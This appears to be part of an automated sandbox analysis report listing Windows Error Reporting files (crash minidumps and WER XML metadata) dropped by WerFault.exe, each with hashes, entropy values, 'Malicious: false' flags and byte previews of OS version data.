SHA-256:	ED72609E9F6CE727AEEC2E593C2C58EF4982708A76CDD85DEE121568E0F5DC37
SHA-512:	8AC362C9E6C526BB4B24A22DB25DC8F1B10201BA0C74D60A8C18ACA634CC669C9ADE5A236E88C45B48F6CA12CD710DECE2D011F9BB72C95FF2013BEA62EC0034
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7334.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.458550279556071
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjTM8fm8M4JblMFXSh+q8vclCr8MjTzd:uITfh/zgrsqYvxJpZhKoCr8MXzd
MD5:	70C6BD3D3F5F1A5800D46FD98C5EF8D9
SHA1:	768B08637D8A8317D38FF35669C8D179837C46B9
SHA-256:	B4B793BFBDF1D5C3FCCA9D0675AA723C1F58A74AB1EA70B50A33957E48054C14
SHA-512:	1773CA25F27CAF8313CE6A5AEB80687495FA345232D134F3BC36F645921226FE0C0FB6C403C719D90CAA2D5F8D9315A7F11EFCAD7F3F73BB8D6D8C3C01196BEE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER790E.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:35 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	63998
Entropy (8bit):	2.33484711100618
Encrypted:	false
SSDEEP:	192:uEAP/xVcp7udtOPoBBxpziMG0OjI2ib7r0bAwQW1qAzjcAN+8xFiG/kBZHbLnSz/:LP7JPQjdbNp00hWEkLNpOjHb+zGqOKb
MD5:	612D9666FD801BD0D916FEEC94DA1B64
SHA1:	08F79F39C9E09F312B3202646F18C9BCE4E83A8A
SHA-256:	CA385B05F277DB101C2B3195E6D083AC0437B17F27BD4C44FBE5AE69F59038C1
SHA-512:	959C1D9FA247F17DADEEC5A50B436428A3E4F05A3B4A61142712A6A1A986B4E62C3484A51073195E8414DB8D020C3D1CF8B5F4D5C97C4A145E971111E1F82BC0
Malicious:	false
Preview:	MDMP....... .......o~;c........................4...........4...............T.......8...........T...........................0................................................................................U...........B..............GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B03.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8388
Entropy (8bit):	3.697825310691746
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/Cm6LY6YBSnSUZ8Jgmf6TS4CpBHz89bgysfBgm:RrlsNiL6U6YBySUZ8Jgmf+SmgxfT
MD5:	03D4FEC4D29C9C3F4CB6BBA26B9C092C
SHA1:	7BE64D5014504BF94CCCA5F777E8E89F7AE305C1
SHA-256:	8C11A08D49C075607E2AC630973DBFA24222953F7B27E2808343D8BC9BE16CEB
SHA-512:	D5E92C5701569EC3690A69498FB98259E29B038259DB3BC3BA79E6CB0359D891E921FDFF7936534C4A78EEBCB5F15B237848B101047966CFC3AEE0A44F845A7F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7BA0.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.459046662323008
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjl8fm8M4JblMFR4+q8vclCr8MjTzd:uITfh/zgrsqY+JpO4KoCr8MXzd
MD5:	CE66B48F2FA0E2EC80123315D9E63647
SHA1:	16BBB7B300DDC7AB40E865DA2C580A8D97EC571D
SHA-256:	358BD5588CC43D4B704A3AD1D1A5765DB8AECE40B68EDA66A2281382C9F10DB7
SHA-512:	B828CC49806E619D215C07EF3E86FF15C70FE22C655D4C95EF67DEEBDC34BFE69DA34404CD0D8A251289761E1B9A181437EAF39DB58BC8A326D7AC89803D9A8E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8245.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:37 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	79772
Entropy (8bit):	2.034889738534872
Encrypted:	false
SSDEEP:	384:g53AVzuNP/aMX79WveBYXRiOUAkLNpOjHbPz4eMIp:8A6PiMX/ZpOHL
MD5:	69D24884698E29C1B07C217DC406B94D
SHA1:	AE455274D15B4363952AB2C58F5B088498AD87C8
SHA-256:	C2B3187135738D10B8C30169A23FD3582C1719993CDCFC448B25D9B0C9FE1776
SHA-512:	4BB0DE62B1FD1373FE62C99CDC559E7A58CF6F3A92BB9E55E26ADDAE334FF087615F1837CF3F410B6AC5BD77BAF4F884EF5157AF096CC055FF6589432D66642B
Malicious:	false
Preview:	MDMP....... .......q~;c........................4...........t....7..........T.......8...........T...........p...,............................................................................................U...........B......D.......GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER84A8.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8388
Entropy (8bit):	3.6978331467436165
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CY6HE6YBSISU1mDgmf6TS4CpB/89bSysfnGm:RrlsNi16k6YBtSU1mDgmf+SiSxfv
MD5:	2909A37000F660E6F35297AF5CB51A3D
SHA1:	7EACD8016D73934A33B797F324E75EBDEED9A492
SHA-256:	D07E71CC065F365647EC07D2C8D2F9C880B42BF83893193761CE0110D768DE7A
SHA-512:	1BAF84F17AA64ED3B99A8AA1BD4C75F029A8296CD056B593A262DE50EAA8506A09FE9B5D670FA143BE4F5F1A89943533B5724CF925BE10CD8F35A743435603B1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8545.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.456177032053052
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjF+8fm8M4JblMFq+q8vclCr8MjTzd:uITfh/zgrsqY9JpPKoCr8MXzd
MD5:	1241181971C0E7209595F7212BCB895E
SHA1:	A4048560C9E5C7AFED6260F23CEE7ACF9FEC9F2F
SHA-256:	9F5CB209411A8E4A7E837DB074385AFF772FA20FF076E09526D1A2A0175D1823
SHA-512:	5434CF3024C5931C95D52788B6C74D8F55DE70EEE7F600A1BC6CB20484EFA94C9E633B56E05F099BC2F61C10FB19CD08849CA9A73BE0AB4A6F9DF41E23423F6F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C48.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:40 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	79232
Entropy (8bit):	2.047001762531174
Encrypted:	false
SSDEEP:	384:/oAVzNP/VYdpQ/7YXlROUAkLNpOjHbVzUsWR7OY:gAjPR/QZpOHBWR7
MD5:	5889568BE023C2B7139D34B63094C03E
SHA1:	1B22C65041EAD8B2AABD74C2263348019E7DB2F7
SHA-256:	4356A4D4C5C655691FFF357DA4BF0DE00C054CDE6810848079E6C21E71A99FB5
SHA-512:	FB7075A19AF49C0B626256D1AC6A08D6BD08FB60576CA8E30B6170BE73F91F2CA3D5E4CED1C53CC7D8F821B4282A06F86500D2025F6253BD63A1238445C6B29D
Malicious:	false
Preview:	MDMP....... .......t~;c........................4................7..........T.......8...........T...........p................................................................................................U...........B......D.......GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8E7B.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8390
Entropy (8bit):	3.696365507955807
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CU6h6YBSMSUwZsgmf6TS4CpB489b6ysfiem:RrlsNiB6h6YB5SUwZsgmf+Sn6xfS
MD5:	8533C5AC5D3E2A6F679A630B3662CD90
SHA1:	C948C715817706D4256E3E2675FC4AA5496B7647
SHA-256:	55CE3857ED274E1B02495607872F29F991259FED887A3B9B96ADD1D1BCBF5182
SHA-512:	DD847BDD9579F3120E77CDF7DCD7E3CA226E1FA624A2FBB9579974812B462254A47E3462CB53F8912926645D58B1974370770A70A4D2ED42F9A5FE92387E36C1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F09.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.455930032015156
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjw8fm8M4JblMFip+q8vclCr8MjTzd:uITfh/zgrsqYRJpvpKoCr8MXzd
MD5:	B2D79BA2BCA0AE271D72B41D2B5D2FBE
SHA1:	A04E362A7EFA55A5A4F2C364B68C814AF834CAF6
SHA-256:	6A2AEEE43C75328C413F85C505D4D2D4F4EB51D1DA036EFA2ED2A49A8C47BCC7
SHA-512:	2D1C9912F69166BE1701D7A257E54307B39D7261CB4A302CF9DD3D33B6C0FBEF7DA77031350BF88A4F5D90E040F64F896A5E526657865C45D28C93406462CB9D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER957F.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:29:43 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	79244
Entropy (8bit):	2.0831035534929656
Encrypted:	false
SSDEEP:	384:sJ9AVzihPHGUgmYXcYO6f69K+aAkLNpOjHbyHzkH08nP1:sfAghPmUgv9dZpOHyEb1
MD5:	7D03634D16CD0A056B0289167A5080C5
SHA1:	45A6C0D3AF04BAC072E7157223859EA170A0A7FD
SHA-256:	FFEA123BBB69383F4DBDE9DC50F45736F074413EC5D9EA47BA899DFAFB27010E
SHA-512:	8422A1767A7BD94DC15FB9041998BBFFCC8232AF3F6BCE937AA9CBF69014C9BAD6C8450687FA928E27132B14862DAF004CDB07BE8DAE30FD7424C37C9A028276
Malicious:	false
Preview:	MDMP....... .......w~;c........................4...........t....7..........T.......8...........T............................................................................................................U...........B......D.......GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9D7F.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8390
Entropy (8bit):	3.69655114069675
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/CX6D6YBSLSUg/ygmf6TS4CpB789beysf46Wqm:RrlsNiC6D6YBeSU1gmf+S+exf46y
MD5:	1B909C937B151BD3842E8B0600B9D6C1
SHA1:	AB600C9CD2861ADEE504C70E2EF3EFC7AE7741A6
SHA-256:	22FDB7BC86C31FB7E034CE84C92C17081D9AB918BFA74C8EAC75FF062A3FC9E5
SHA-512:	5F8C4DB3624EA1190342A17360DBDD786EE68D7E9DE698AA5548AD726CB6F859772113472598706452304C871834B1AC29144F137E591E0DB24C18FB7A45970D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.9.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4CC.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 4 00:30:52 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	115316
Entropy (8bit):	2.072510660517891
Encrypted:	false
SSDEEP:	384:acmvCLbPD7bV444RLH54twYXmxOYc1vrNLNROjHwUeKs4zZHQLzbeOjuMiloD:hbPDHV54v4tz1vhZROMHn65g
MD5:	0E171C8E023BAF9AFA2A47F1801C9687
SHA1:	7ED53AD0A6A54E7AD1DB239B3A0B02AE0E44DFED
SHA-256:	729D072AF447D030D160583689A731A30C9AE89BBEB74C0AFE5D5DC639628B70
SHA-512:	0025821F5FF48551754D06B877F1A324D33DA128263AE862AAD3DEAC531E99ED45A1B12979F5A03EC481C54CE1385BA18EC88B5ABBF48E59D6D01B4A64D74C9B
Malicious:	false
Preview:	MDMP....... ........~;c............D...............L............N..........T.......8...........T...........P=..$...........\!..........H#...................................................................U...........B.......#......GenuineIntelW...........T.......\|...h~;c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA550.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4674
Entropy (8bit):	4.458779439734889
Encrypted:	false
SSDEEP:	48:cvIwSD8zs/JgtWI9cSWgc8sqYjb8fm8M4JblMF9w+q8vclCr8MjTzd:uITfh/zgrsqYMJpOwKoCr8MXzd
MD5:	6FC280E101469D3EC90CF2839259B200
SHA1:	BD90383C3E3684BE029872488E632CBD7FCA733F
SHA-256:	B72737167A3108C3D2C6DD64EF4C228929668CEC5FF479E83BB94157F7B16AA3
SHA-512:	9AD63E71C2C7A7BB3E7D4903230346F5052FF23D454AC3E5B6D9D97AAB3B6CD945FB68BB583FB56C4C7C3C58477A20FA1EEF037C72EE29304F213E0E3B4807D7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1719940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA77D.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8404
Entropy (8bit):	3.694330330368768
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi/Cj6Xj6YBSPSUqgmf6oSR1sCpBm89bpysfbDm:RrlsNiW6Xj6YB6SUqgmf5ST5pxfO
MD5:	B656135048B204116DC5FFA2D958977F
SHA1:	6B3BABEAD4636FF1B48A8992EF31FF1ACD91AAD8
SHA-256:	D8ADFF43F5130C3773E14A2ADBD852938A739F7A39B587748B6481CF7D34A58A
SHA-512:	4FD8EB649D011087C9070D0672F26C26A488047674A36A79FE97298BF1C3A0493B15F8A7ADDAAB7A09A6378F3CF141AE137BC35DFF141CA3418AAD8368638316
Malicious:	false
